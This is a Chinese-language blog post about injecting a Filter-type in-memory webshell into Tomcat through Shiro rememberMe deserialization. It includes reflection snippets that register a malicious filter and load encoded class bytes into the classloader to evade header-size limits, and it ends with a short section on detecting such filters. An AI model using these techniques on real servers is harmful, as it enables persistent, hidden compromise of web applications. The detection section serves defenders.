0x01簡介
shiro結合tomcat回顯,使用公開的方法,回顯大多都會報錯。因為生成的payload過大,而tomcat在默認情況下,接收的最大http頭部大小為8192。如果超過這個大小,則tomcat會返回400錯誤。而某些版本tomcat可以通過payload修改maxHttpHeaderSize,而某些又不可以。所以我們要想辦法解決這個很麻煩,並順便實現tomcat的內存馬,用來持久化shell。
我的測試環境如下:
- tomcat 7.0.104
- idea
- shiro
環境安裝配置就不在這里詳細描述,該分享主要圍繞着以下主題分享:
- Filter介紹
- 類加載器的相關知識點
- tomcat的內存馬該如何查殺
0x02 Filter
1. Filter的基本工作原理
-
Filter 程序是一個實現了特殊接口的 Java 類,與 Servlet 類似,也是由 Servlet 容器進行調用和執行的。
-
當在 web.xml 注冊了一個 Filter 來對某個 Servlet 程序進行攔截處理時,它可以決定是否將請求繼續傳遞給 Servlet 程序,以及對請求和響應消息是否進行修改。
-
當 Servlet 容器開始調用某個 Servlet 程序時,如果發現已經注冊了一個 Filter 程序來對該 Servlet 進行攔截,那么容器不再直接調用 Servlet 的 service 方法,而是調用 Filter 的 doFilter 方法,再由 doFilter 方法決定是否去激活 service 方法。
-
但在 Filter.doFilter 方法中不能直接調用 Servlet 的 service 方法,而是調用 FilterChain.doFilter 方法來激活目標 Servlet 的 service 方法,FilterChain 對象時通過 Filter.doFilter 方法的參數傳遞進來的。
-
只要在 Filter.doFilter 方法中調用 FilterChain.doFilter 方法的語句前后增加某些程序代碼,這樣就可以在 Servlet 進行響應前后實現某些特殊功能。
-
如果在 Filter.doFilter 方法中沒有調用 FilterChain.doFilter 方法,則目標 Servlet 的 service 方法不會被執行,這樣通過 Filter 就可以阻止某些非法的訪問請求。
2. Filter 鏈
- 在一個 Web 應用程序中可以注冊多個 Filter 程序,每個 Filter 程序都可以對一個或一組 Servlet 程序進行攔截。如果有多個 Filter 程序都可以對某個 Servlet 程序的訪問過程進行攔截,當針對該 Servlet 的訪問請求到達時,Web 容器將把這多個 Filter 程序組合成一個 Filter 鏈(也叫過濾器鏈)。
- Filter 鏈中的各個 Filter 的攔截順序與它們在 web.xml 文件中的映射順序一致,上一個 Filter.doFilter 方法中調用 FilterChain.doFilter 方法將激活下一個 Filter的doFilter 方法,最后一個 Filter.doFilter 方法中調用的 FilterChain.doFilter 方法將激活目標 Servlet的service 方法。
- 只要 Filter 鏈中任意一個 Filter 沒有調用 FilterChain.doFilter 方法,則目標 Servlet 的 service 方法都不會被執行。
3. Tomcat中請求Filter的流程
用戶在請求tomcat的資源的時候,會調用ApplicationFilterFactory的createFilterChain方法,根據web.xml的Filter配置,去生成Filter鏈。主要代碼如下
filterChain.setServlet(servlet);
filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = filterMaps.length;
int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
boolean isCometFilter;
for(i$ = 0; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
isCometFilter = false;
if (comet) {
try {
isCometFilter = filterConfig.getFilter() instanceof CometFilter;
} catch (Exception var21) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var21);
ExceptionUtils.handleThrowable(t);
}
if (isCometFilter) {
filterChain.addFilter(filterConfig);
}
} else {
filterChain.addFilter(filterConfig);
}
}
}
}
首先獲取當前context,並從context中獲取FilterMap。FIlterMap的數據結構如下
我們可以看到,FilterMap存放了Filter的名稱和需要攔截的url的正則表達式。
繼續往下分析代碼,遍歷FilterMap中每一項,調用matchFiltersURL這個函數,去確定請求的url和Filter中需要攔截的正則表達式是否匹配。
如果匹配的話,則通過context.findFilterConfig方法去查找filter對應的名稱。filterConfig的數據結構如下
隨后將filterConfig添加到Filter.chain中。
下面我們看一下ApplicationFilterChain.internalDoFilter方法,簡化后的代碼如下
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
Filter filter = null;
filter = filterConfig.getFilter();
this.support.fireInstanceEvent("beforeFilter", filter, request, response);
filter.doFilter(request, response, this);
this.support.fireInstanceEvent("afterFilter", filter, request, response);
在這里我們可以很清楚的看到,從剛才的FilterChain中,遍歷每一項FilterConfig,然后獲取FIlterConfig對應的filter,最后調用我們熟悉的filter.doFilter方法。
可以用如下流程圖來方便我們理解這個過程
可以看出,如果需要動態注冊一個Filter,結合上面的分析,我們可以發現,只要修改context相關字段,即可完成動態注冊一個Filter。好消息是,context已經幫我們實現了相關方法,我們就沒有必要去通過反射等手段去修改。
4. tomcat實現
4.1 獲取context
可以通過MBean的方式去獲取當前context,我們查看一下tomcat的MBean
idea中查看一下
相關代碼如下
Registry.getRegistry((Object) null, (Object) null).getMBeanServer().mbsInterceptor.repository.domainTb.get("Catalina").get("context=/samples_web_war,host=localhost,name=NonLoginAuthenticator,type=Valve").object.resource.context
當然,還有很多種辦法,這里只是一個例子
4.2 添加filterdef到context
首先我們實例化一個FilterDef,FilterDef的作用主要為描述filter名稱與Filter實例的關系。注意,在后面調用context.FilterMap的時候會校驗FilterDef,所以我們需要先設置FilterDef
Object filterDef = Class.forName("FilterDef").newInstance();
// 設置過濾器名稱
Method filterDefsetFilterName = Class.forName("FilterDef").getMethod("setFilterName", String.class);
filterDefsetFilterName.invoke(filterDef, "test");
// 實例化Filter,也就是第一階段我們加載的那個filter,通過Class.forname查找
Method filterDefsetFilter = Class.forName("FilterDef").getMethod("setFilter", Filter.class);
//通過class.forname查找我們待加載的Filter,后面調用newInstance實例化
Class evilFilterClass = Class.forName("testFilter1");
filterDefsetFilter.invoke(filterDef, evilFilterClass.newInstance());
4.3 添加filtermap到context
FilterMap的作用建立filter的url攔截與FilterDef的關系。在這里我們需要設置加載的filter都攔截什么url。代碼如下
Object filterMap = Class.forName("FilterMap").newInstance();
Method filterMapaddURLPattern = Class.forName("FilterMap").getMethod("addURLPattern", String.class);
filterMapaddURLPattern.invoke(filterMap, "/*");
// 設置filter的名字為test
Method filterMapsetFilterName = Class.forName("FilterMap").getMethod("setFilterName", String.class);
filterMapsetFilterName.invoke(filterMap, "test");
4.4 添加ApplicationFilterConfig至context
這里很簡單,最后我們需要添加ApplicationFIlterConfig就可以了,代碼如下
Field contextfilterConfigs = context.getClass().getDeclaredField("filterConfigs");
HashMap filterConfigs = (HashMap) contextfilterConfigs.get(context);
Constructor<?>[] filterConfigCon =
Class.forName("ApplicationFilterConfig").getDeclaredConstructors();
filterConfigs.put("test", filterConfigCon[0].newInstance(context, filterDef));
0x02 類加載器的相關知識點
在上一步種,我們是無法成功的,因為payload過大,超過tomcat的限制。會導致tomcat報400 bad request錯誤。我們仔細分析可知,因為payload種需要加載Filter的class bytes。這一部分最小最小還需要3000多。所以我們需要將Filter的class byte,想辦法加載至系統中。可以縮小我們動態加載Filter的payload大小。
1.1 class.forname
在這里我們先學習以下class.forname
這個方法,查看openjdk的相關源碼
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/classes/java/lang/Class.java#l374
class.forname
會獲取調用方的classloader,然后調用forName0
,從調用方的classloader中查找類。當然,這是一個native方法,精簡后源碼如下
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/java.base/share/native/libjava/Class.c#l104
Java_java_lang_Class_forName0(JNIEnv *env, jclass this, jstring classname,
jboolean initialize, jobject loader, jclass caller)
{
char *clname;
jclass cls = 0;
clname = classname;
cls = JVM_FindClassFromCaller(env, clname, initialize, loader, caller);
return cls;
}
JVM_FindClassFromClassler
的代碼在如下位置
https://hg.openjdk.java.net/jdk/jdk/file/2623069edcc7/src/hotspot/share/prims/jvm.cpp
JVM_ENTRY(jclass, JVM_FindClassFromCaller(JNIEnv* env, const char* name,
jboolean init, jobject loader,
jclass caller))
JVMWrapper("JVM_FindClassFromCaller throws ClassNotFoundException");
TempNewSymbol h_name =
SystemDictionary::class_name_symbol(name, vmSymbols::java_lang_ClassNotFoundException(),
CHECK_NULL);
oop loader_oop = JNIHandles::resolve(loader);
oop from_class = JNIHandles::resolve(caller);
oop protection_domain = NULL;
if (from_class != NULL && loader_oop != NULL) {
protection_domain = java_lang_Class::as_Klass(from_class)->protection_domain();
}
Handle h_loader(THREAD, loader_oop);
Handle h_prot(THREAD, protection_domain);
jclass result = find_class_from_class_loader(env, h_name, init, h_loader,
h_prot, false, THREAD);
return result;
JVM_END
主要是獲取protectDomain等相關信息。然后調用find_class_from_class_loader
,代碼如下
jclass find_class_from_class_loader(JNIEnv* env, Symbol* name, jboolean init,
Handle loader, Handle protection_domain,
jboolean throwError, TRAPS) {
Klass* klass = SystemDictionary::resolve_or_fail(name, loader, protection_domain, throwError != 0, CHECK_NULL);
// Check if we should initialize the class
if (init && klass->is_instance_klass()) {
klass->initialize(CHECK_NULL);
}
return (jclass) JNIHandles::make_local(env, klass->java_mirror());
}
在SystemDictionary::resolve_or_fail
會判斷查找的類是不是屬於數組,對於咱們來講,肯定不是數組,所以,我們主要來分析systemDictionary::resolve_instance_class_or_null
代碼如下
class_loader = Handle(THREAD, java_lang_ClassLoader::non_reflection_class_loader(class_loader()));
ClassLoaderData* loader_data = register_loader(class_loader);
Dictionary* dictionary = loader_data->dictionary();
unsigned int d_hash = dictionary->compute_hash(name);
{
InstanceKlass* probe = dictionary->find(d_hash, name, protection_domain);
if (probe != NULL) return probe;
}
最終通過dictionary->find
方法去查找類,看代碼,其實也就是查找classloader的classes字段。
idea中查看這個字段。可以看出這里存儲了很多類的Class,我們只需要將defineClass的結果,添加到classloader的classes字段中即可。
1.2 實現
將class bytes使用gzip+base64壓縮編碼,代碼如下
payload中,我們尋找當前classloader,調用defineclass,將類字節碼轉換成一個類,代碼如下
這一步會用到大量的反射
BASE64Decoder b64Decoder = new sun.misc.BASE64Decoder();
String codeClass = "base64+gzip編碼后的類";
ClassLoader currentClassloader = Thread.currentThread().getContextClassLoader();
Method defineClass = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Class evilClass = (Class) defineClass.invoke(currentClassloader, uncompress(b64Decoder.decodeBuffer(codeClass)), 0, uncompress(b64Decoder.decodeBuffer(codeClass)).length);
加載完成后,將evilClass加載到classloader的classes字段中,這步通過反射完成
Field currentCladdloaderClasses = Thread.currentThread().getContextClassLoader().getClass().getDeclaredField("classes");
Vector classes = (Vector) currentCladdloaderClasses.get(currentClassloader);
classes.add(0, evilClass);
0x03 成果檢驗
首先我們將自己寫的Filter,加載到classloader
中Filter
的代碼如下
運行我們的工具,生成payload
通過burp發送出去
下一步動態注冊一個Filter,
我們可以看出,這兩步生成的payload大小都沒有超過tomcat的maxHttpHeaderSize
。將生成的remember復制到cookies即可執行,結果如下
0x04 Filter類型的內存馬查殺
- 打開jvisualvm,因為我們是訪問本地java進程,所以tomcat不需要配置jmx訪問
- jvisualvm安裝MBean插件
3. 點擊我們的tomcat,查看Catalina/Filter
節點中的數據,檢查是否存在我們不認識的,或者沒有在web.xml中配置的filter,或者filterClass為空的Filter,如圖